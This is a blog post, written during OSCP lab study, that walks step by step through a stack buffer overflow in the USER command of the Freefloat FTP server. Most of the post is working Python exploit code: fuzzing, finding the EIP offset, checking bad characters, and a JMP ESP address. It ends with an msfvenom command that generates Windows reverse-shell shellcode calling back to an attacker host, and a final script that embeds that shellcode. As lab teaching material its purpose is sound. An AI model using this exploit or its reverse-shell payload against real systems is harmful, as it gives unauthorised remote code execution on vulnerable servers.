Freefloat FTP Remote Buffer Overflow
Contents
60 Days of OSCP labs have come and gone. That was fast and honestly, probably not enough time. I made it through the entire PDF and was able to compromise several machines on the OSCP lab network but I might end up purchasing another 15-30 days for Windows priv-esc practice. My exam is scheduled for the beginning of September and in the meantime, I am working on buffer overflows. I think that’s where the next few posts are going to focus on because once you start to understand them, it’s so much damn fun!
The rest of this post is going to focus on the Freefloat FTP Remote Buffer Overflow. This is a basic Stack overflow that is about as simple as it gets. In the next post, we will look at SEH overflows.
[hr]
System Information:
Victim: Windows XP SP3 running Freefloat FTP
- Have Immunity Debugger Installed
- Have the Mona Python Plugin for Immunity
Attacker: Kali 2017.2 PWK 32 bit version
[hr]
FTP Fuzzing:
As with all the BOF’s that I will be going through, I will be using Python3 as my language of choice. We could manually probe the FTP server but, what’s the fun in that… We want to use python to do most of the legwork for us. We know that the USER parameter is vulnerable but, let’s not assume anything at this time. Let’s actually fuzz the application.
Note: When I say Fuzz, I mean send incrementing packets of data to the USER and PASS FTP parameters to see if we overflow and crash the application.
After we sent 300 Bytes of A’s, the FTP server crashed. Let’s take a look at Immunity to see if we overwrite the EIP register with the A’s that we sent.
Perfect, EIP is now 41414141 and since 0x41 = A, we have successfully overwritten the EIP register.
[hr]
Observing the Overflow and Controlling EIP:
We have overflown the USER FTP parameter and have overwritten the EIP register with 0x41 (A). The next step is to find the offset of the EIP register in order to gain full control of it to obtain code execution. Let’s start building our python script.
Let’s first generate a unique string using pattern_create.rb so we can obtain the offset of the EIP register. We know the overflow happened around 300 Bytes so, we will use that as our string length.
Now we will add that string to our Python script:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
import socket IP = "192.168.56.130" PORT = 21 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Connect to FTP Server: print("[+] Connecting to FTP Server") s.connect((IP, PORT)) data = s.recv(1024) print(data) # Overflow USER Parameter print("[+] Overflowing USER Paramter") buf = "" buf += """Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9""" s.send("USER " + buf + "\r\n") # Close the connection s.close() |
Restart the FTP server in Immunity and send the new payload. After sending the payload, take a look at the EIP value as that is going to be the value we will use to find out EIP offset.
The EIP value is 37684136. We can then feed this into pattern_offset.rb to get our true EIP offset.
The EIP offset is 230 which means we now need to check if we, in fact, have full control over the EIP register. We will do this by sending 230 A’s and 4 B’s followed by 500 C’s. This data should overflow the buffer with the A’s, write only B’s to the EIP register, and then write arbitrary C’s after. The C’s are important as they will dictate whether we can use the space after the overflow to add our exploit shellcode. We’ll look at that in a second.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
import socket IP = "192.168.56.130" PORT = 21 EIP_OFFSET = 230 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Connect to FTP Server: print("[+] Connecting to FTP Server") s.connect((IP, PORT)) data = s.recv(1024) print(data) # Overflow USER Parameter print("[+] Overflowing USER Paramter") buf = "" buf += "A" * EIP_OFFSET buf += "B" * 4 buf += "C" * 500 s.send("USER " + buf + "\r\n") # Close the connection s.close() |
Again, restart the FTP server in Immunity and send the new payload.
Looking at the value of EIP, we see it’s 0x42 which is B. Awesome! We have full control over EIP. The next thing we want to look at is the number of C’s that were written after we overwrote the EIP register. We can do this very easily with Immunity by double-clicking the first memory address that contains C’s and following the C’s until they terminate. This will give us the Hex value of the total number of C’s within the buffer.
In my case, the C’s stop at 0x1F0 which in base 10 is 496. This means we have 496 Bytes of available space to place our exploit. A usual exploit is around 250-350 Bytes so, we have more than enough room.
[hr]
Checking for Bad Characters:
Before we can continue, we should check for bad characters. Applications can at times have specific use cases for different characters and as such, we need to check for those bad characters as they may hinder our exploit code from working. The python script now has functionality that creates all the characters, adds them to the buffer overflow payload, and saves the characters to a binary file that will be used by the Python Mona script to look for known bad characters.
Note 0x00, 0x0a, and 0x0d are common bad characters so we exclude those from the very beginning.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 |
import socket IP = "192.168.56.130" PORT = 21 bad_chars = [0x00, 0x0a, 0x0d] chars = "" EIP_OFFSET = 230 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Connect to FTP Server: print("[+] Connecting to FTP Server") s.connect((IP, PORT)) data = s.recv(1024) print(data) # Generate Characters: for i in range(0x00, 0xFF+1): if i not in bad_chars: chars += chr(i) with open("bad_chars.bin", "wb") as f: f.write(chars) # Overflow USER Parameter print("[+] Overflowing USER Paramter") buf = "" buf += "A" * EIP_OFFSET buf += "B" * 4 buf += "C" * 8 buf += chars s.send("USER " + buf + "\r\n") # Close the connection s.close() |
The buffer has been overflown and now we can check for the bad characters using the mona script.
The only bad characters found are those we removed from the beginning. We will make sure to exclude those characters when building our shellcode.
[hr]
Finding JMP ESP:
Let’s go back to us having control over EIP. Long story short, EIP holds the address of the next instruction to be executed (i.e. Instruction Pointer). That means in order for our shellcode to be executed concurrently with the overflow happening, we need to make damn well sure that the EIP points to the location in memory where our shellcode will be located. This is the tricky part due to multithreading and dynamic memory address allocation meaning memory addresses change all the time! But, we know that we are writing our shellcode directly to the Stack and as long as we can get back to the bottom of the stack (i.e. ESP) our shellcode can execute.
Our goal:
- Find a JMP ESP instruction that has a static address (Commonly in DLL’s), has no bad characters within its memory address, and does not have ASLR or DEP protections.
Fortunately for us, Mona makes this a breeze.
- First, let’s look at the modules that have been loaded for this FTP server and check to see if there are any that are unprotected.
- Find the Opcode of JMP ESP
- Search for JMP ESP in the module and record the memory address
We found that SHELL32.dll module was being used and does not have ASLR protection. We then found the opcode of JMP ESP in order to search for the instruction. We then searched for the JMP ESP instruction within the SHELL32.dll module and found several possible addresses. Remember, we need an address that does not contain bad characters. In this case, I will use the first memory address 0x7cbd51fb.
[hr]
Verify JMP ESP Execution:
Before generating shellcode, we should verify that we have successfully changed the execution flow to make the EIP execute the JMP ESP instruction within the SHELL32.dll. We will do this by overwriting EIP with the memory address of the JMP ESP instruction and then, once again, writing C’s thereafter. The difference being, we will place a breakpoint at the JMP ESP memory address to verify that the program pauses and therefore proves we have redirected code execution.
Note the memory address 0x7cbd51fb has to be translated into little endian (i.e. Least Significant bit to Most Significant bit). Review this if this is new to you.
- Place the Breakpoint by selecting memory address and hitting F2.
- Amend the Python script to overwrite EIP with the JMP ESP address.
123456789101112131415161718192021222324252627282930import socketIP = "192.168.56.130"PORT = 21EIP_OFFSET = 230JMP_ESP = "\xFB\x51\xBD\x7C" # 0x7CBD51FBs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)# Connect to FTP Server:print("[+] Connecting to FTP Server")s.connect((IP, PORT))data = s.recv(1024)print(data)# Overflow USER Parameterprint("[+] Overflowing USER Paramter")buf = ""buf += "A" * EIP_OFFSETbuf += JMP_ESPbuf += "C" * 500s.send("USER " + buf + "\r\n")# Close the connections.close() - Execute and verify program pause at JMP ESP proving we now have full control.
[hr]
Generating our Exploit Shellcode:
The last thing we need to do is generate our shellcode, add it to the Python script, and catch the shell!
- Generate shellcode with msfvenom (remember to exclude the bad characters 0x00, 0x0a, 0x0d).
- msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=192.168.56.131 LPORT=443 -b ‘\x00\x0A\x0D’ -f c
- msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=192.168.56.131 LPORT=443 -b ‘\x00\x0A\x0D’ -f c
- Copy shellcode to Python Script.
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556import socketIP = "192.168.56.130"PORT = 21EIP_OFFSET = 230JMP_ESP = "\xFB\x51\xBD\x7C" # 0x7CBD51FBSHELLCODE = ("\xba\x2f\x70\xa4\x53\xdb\xdc\xd9\x74\x24\xf4\x5e\x31\xc9\xb1""\x52\x31\x56\x12\x03\x56\x12\x83\xc1\x8c\x46\xa6\xe1\x85\x05""\x49\x19\x56\x6a\xc3\xfc\x67\xaa\xb7\x75\xd7\x1a\xb3\xdb\xd4""\xd1\x91\xcf\x6f\x97\x3d\xe0\xd8\x12\x18\xcf\xd9\x0f\x58\x4e""\x5a\x52\x8d\xb0\x63\x9d\xc0\xb1\xa4\xc0\x29\xe3\x7d\x8e\x9c""\x13\x09\xda\x1c\x98\x41\xca\x24\x7d\x11\xed\x05\xd0\x29\xb4""\x85\xd3\xfe\xcc\x8f\xcb\xe3\xe9\x46\x60\xd7\x86\x58\xa0\x29""\x66\xf6\x8d\x85\x95\x06\xca\x22\x46\x7d\x22\x51\xfb\x86\xf1""\x2b\x27\x02\xe1\x8c\xac\xb4\xcd\x2d\x60\x22\x86\x22\xcd\x20""\xc0\x26\xd0\xe5\x7b\x52\x59\x08\xab\xd2\x19\x2f\x6f\xbe\xfa""\x4e\x36\x1a\xac\x6f\x28\xc5\x11\xca\x23\xe8\x46\x67\x6e\x65""\xaa\x4a\x90\x75\xa4\xdd\xe3\x47\x6b\x76\x6b\xe4\xe4\x50\x6c""\x0b\xdf\x25\xe2\xf2\xe0\x55\x2b\x31\xb4\x05\x43\x90\xb5\xcd""\x93\x1d\x60\x41\xc3\xb1\xdb\x22\xb3\x71\x8c\xca\xd9\x7d\xf3""\xeb\xe2\x57\x9c\x86\x19\x30\x63\xfe\x19\x43\x0b\xfd\x59\x42""\x77\x88\xbf\x2e\x97\xdd\x68\xc7\x0e\x44\xe2\x76\xce\x52\x8f""\xb9\x44\x51\x70\x77\xad\x1c\x62\xe0\x5d\x6b\xd8\xa7\x62\x41""\x74\x2b\xf0\x0e\x84\x22\xe9\x98\xd3\x63\xdf\xd0\xb1\x99\x46""\x4b\xa7\x63\x1e\xb4\x63\xb8\xe3\x3b\x6a\x4d\x5f\x18\x7c\x8b""\x60\x24\x28\x43\x37\xf2\x86\x25\xe1\xb4\x70\xfc\x5e\x1f\x14""\x79\xad\xa0\x62\x86\xf8\x56\x8a\x37\x55\x2f\xb5\xf8\x31\xa7""\xce\xe4\xa1\x48\x05\xad\xd2\x02\x07\x84\x7a\xcb\xd2\x94\xe6""\xec\x09\xda\x1e\x6f\xbb\xa3\xe4\x6f\xce\xa6\xa1\x37\x23\xdb""\xba\xdd\x43\x48\xba\xf7")s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)# Connect to FTP Server:print("[+] Connecting to FTP Server")s.connect((IP, PORT))data = s.recv(1024)print(data)# Overflow USER Parameterprint("[+] Overflowing USER Paramter")buf = ""buf += "A" * EIP_OFFSETbuf += JMP_ESPbuf += "\x90"*20buf += SHELLCODEs.send("USER " + buf + "\r\n")# Close the connections.close()
Let’s talk about the shellcode for a second (THIS IS IMPORTANT). When we generated the shellcode we had to exclude the bad characters from the payload and that means encoding the payload. In this instance, the payload was encoded with Shikata Ga Nai as can be seen in the image above. This is not a problem however, the process flow is going to be a bit different in that the shellcode has not only our exploit in it, it also has a decoding instruction set to decode our exploit. That decoding needs a bit of extra space at the beginning of the exploit and as such, we pad the payload with 20 NOP bytes (\x90). The \x90’s are ignored and are what is called a NOP sled. The program will run as usual and just ignore the \x90’s. Now, let’s set up a listener and run our exploit.